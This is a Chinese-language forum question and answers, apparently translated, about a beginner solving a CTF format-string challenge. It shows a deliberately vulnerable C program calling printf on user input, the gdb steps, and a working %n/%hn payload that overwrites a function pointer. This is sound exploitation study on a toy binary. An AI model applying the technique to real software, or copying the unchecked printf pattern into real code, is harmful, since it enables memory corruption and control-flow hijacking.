利用格式字符串漏洞的新手问题

逆向工程 linux C 开发
2021-06-28 02:29:14

我在 CTF 中遇到了打印格式漏洞挑战。我对这些漏洞一无所知,所以我正在研究来自exploit-db.com(https://www.exploit-db.com/docs/english/28476)的Saif El-Sherei格式字符串利用教程-linux-format-string-exploitation.pdf)。但是,我很早就陷入了困境。我希望有人能指出我哪里出错了。

这是我写的一些代码:

#include <stdio.h>
#include <stdlib.h>

void nicefunction()
{
        printf("you are in the nice function!\n");
}
void notnicefunction()
{
        printf("you are in the NOT nice function!\n");
}
int foo()
{
  void (*fptr)() = &nicefunction;
  char buf[100];

  puts("Please enter a string. ");
  fgets(buf,80,stdin);
  puts("Here's your string");
  printf(buf);
  puts("\nNow we call the nice function");
  (*fptr)();
  return 0;
}

int main(int argc, char **argv)
{
  foo();
}

我的目标是制作一个输入字符串,我可以用它来将 fptr 更改为指向 notnicefunction。我编译它:gcc -m32 -g test.c -fno-stack-protector -z execstack -o test

我在 gdb 下运行二进制文件并在断点前后添加。当我输入字符串“AAAA”然后执行 x/20xw $esp 时,我看到堆栈中的 0x41414141 位于 0xffffd018。如果我重新运行并输入字符串“AAAA %6$x”,我会得到 AAAA 41414141。到目前为止一切顺利。

现在我想找到fptr的地址。使用 nm,我看到它应该包含 0x0804849b 的值(nicefunction 的地址)。我的目标是把它改成notnicefunction的地址0x080484b4。我用 AAAA 重新运行,然后检查堆栈,直到找到包含 0x0804849b 的地址。这是从 buf 开始的堆栈中更深的 0xffffd07c, 0x64 (100d) 个字。这是有道理的。

我想通过使用 %n 来控制 fptr 的内容。所以我制作了这个输入字符串:\x7c\xd0\xff\xff\xff\xffAAAA%5$x%n。我认为这应该将 0xffffd07c 的内容更改为 13d。但是我在 printf 中出现了段错误。

我哪里错了?

更新:我尝试将我的 fptr 地址写入缓冲区的开头,只是为了查看我是否正确写入了地址。但是当我在 gdb 中检查它时,它有 ASCII 表示:

(gdb) x/20xw $esp+8
0xffffd018: 0x6337785c  0x3064785c  0x6666785c  0x6666785c

所以问题是 bash 不喜欢我的十六进制文字。我想我可以通过从文件重定向来解决这个问题。但是,如果有人知道处理此问题的更清洁的方法,我很想知道。

MOAR 更新:Pawel 下面的评论让我克服了 how-do-I-get-hex-bytes-into-this-binary 障碍。但我仍然在我的 %n 上进行段错误。但是当我将 %5$x %n 更改为 %x %x %x %x %x %n 时,段错误就消失了。现在我能够(某种程度上)控制任意堆栈内存的内容。呜呼!

2个回答

最终让我执行不好函数的输入字符串是 echo -n -e '\x7c\xd0\xff\xffJUNK\x7e\xd0\xff\xff。%x %x %x %x %33929x %hn' > /tmp/xxx

这给了我:

22    (*fptr)();
(gdb) x/4xw 0xffffd070
0xffffd070: 0x00000001  0x00000003  0xf7e25a50  0x080484b4
(gdb) c
Continuing.
you are in the NOT nice function!

我不知道在%n以后发生的一个参数%5$x

试试\x7c\xd0\xff\xffAAAA%6$n似乎对我有用。